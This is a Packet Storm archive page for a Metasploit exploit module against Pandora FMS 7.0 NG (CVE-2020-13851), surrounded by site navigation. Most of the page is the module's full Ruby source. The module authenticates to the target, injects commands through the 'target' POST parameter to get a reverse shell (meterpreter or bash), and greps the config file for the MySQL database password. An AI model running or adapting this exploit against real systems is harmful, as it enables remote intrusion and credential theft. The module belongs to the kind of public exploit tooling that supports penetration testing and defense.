

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

Systems

File Upload (946)	
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Pandora FMS 7.0 NG 7XX Remote Command Execution

Authored by Fernando Catoira, Erik Wynter, Julio Sanchez | Site metasploit.com

Posted Jul 11, 2020

This Metasploit module exploits a vulnerability (CVE-2020-13851) in Pandora FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps older versions) in order to execute arbitrary commands. This module takes advantage of a command injection vulnerability in the Events feature of Pandora FMS. This flaw allows users to execute arbitrary commands via the target parameter in HTTP POST requests to the Events function. After authenticating to the target, the module attempts to exploit this flaw by issuing such an HTTP POST request, with the target parameter set to contain the payload. If a shell is obtained, the module will try to obtain the local MySQL database password via a simple grep command on the plaintext /var/www/html/pandora_console/include/config.php file. Valid credentials for a Pandora FMS account are required. The account does not need to have admin privileges. This module has been successfully tested on Pandora 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version).

tags | exploit, web, arbitrary, shell, local, php

systems | linux, centos

advisories | CVE-2020-13851

SHA-256 | 8c2e13e57553407ba5b46b1cb763ce1bf256fd53ba20f8b4cb5a87d5d92785b0

Download | Favorite | View

Related Files

Share This

Like

Tw

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pandora FMS Events Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability (CVE-2020-13851) in Pandora
          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
          older versions) in order to execute arbitrary commands.

          This module takes advantage of a command injection vulnerability in the
          'Events' feature of Pandora FMS. This flaw allows users to execute
          arbitrary commands via the 'target' parameter in HTTP POST requests to
          the 'Events' function. After authenticating to the target, the module
          attempts to exploit this flaw by issuing such an HTTP POST request,
          with the 'target' parameter set to contain the payload. If a shell is
          obtained, the module will try to obtain the local MySQL database
          password via a simple 'grep' command on the plaintext
          /var/www/html/pandora_console/include/config.php file.

          Valid credentials for a Pandora FMS account are required. The account
          does not need to have admin privileges.

          This module has been successfully tested on Pandora 7.0 NG 744 running
          on CentOS 7 (the official virtual appliance ISO for this version).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Fernando Catoira', # Discovery
          'Julio Sanchez', # Discovery
          'Erik Wynter' # @wynter Erik - Metasploit
        ],
        'References' => [
          ['CVE', '2020-13851'], # RCE via the 'events' feature
          ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
        ],
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            },
            [
              'Linux (x64)', {
                'Arch' => ARCH_X64,
                'Platform' => 'linux',
                'DefaultOptions' => {
                  'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                }
              },
              [
                'Linux (cmd)', {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'unix',
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2020-06-04',
            'DefaultTarget' => 1
          ]
        ]
      )
    )
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
    ]
  end

  def check
    vprint_status('Running check')
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    @cookie = res.get_cookies
    html = res.get_html_document
    full_version = html.at('div[id=ver_num]')
```

```
if full_version.blank?
  return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

full_version = full_version.text

version = full_version[1..-1].sub('NG', '')

if version.blank?
  return CheckCode::Detected('Could not determine the Pandora FMS version.')
end

version = Gem::Version.new version

unless version <= Gem::Version.new('7.0.744')
  return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
end

CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
end

def login(user, pass)
  vprint_status "Authenticating as #{user} ..."

  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'cookie' => @cookie,
    'vars_get' => { 'login' => '1' },
    'vars_post' => {
      'nick' => user,
      'pass' => pass,
      'login_button' => 'Login'
    }
  })

  unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
    fail_with Failure::NoAccess, 'Authentication failed'
  end

  print_good "Authenticated as user #{user}."
end

def on_new_session(client)
  super
  if target.arch.first == ARCH_CMD
    print_status("Trying to read the MySQL DB password from include/config.php. The default privileged user is 'root'.")
    client.shell_write("grep dbpass include/config.php\n")
  else
    print_status("Tip: You can try to obtain the MySQL DB password via the shell command 'grep dbpass include/config.php'. The default privileged user is 'root'.")
  end
end

def execute_command(cmd, _opts = {})
  print_status('Executing payload...')

  send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'ajax.php'),
    'cookie' => @cookie,
    'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
    'referer' => full_uri('index.php'),
    'vars_get' => {
      'sec1' => 'eventos',
      'sec2' => 'operation/events/events'
    },
    'vars_post' => {
      'page' => 'include/ajax/events',
      'perform_event_response' => '10000000',
      'target' => cmd.to_s,
      'response_id' => '1'
    }
  }, 0) # the server will not send a response, so the module shouldn't wait for one
end

def exploit
  login(datastore['USERNAME'], datastore['PASSWORD'])

  if target.arch.first == ARCH_CMD
    execute_command payload.encoded
  else
    execute_cmdstager(background: true)
  end
end
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

[Login](#) or [Register](#) to add favorites

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)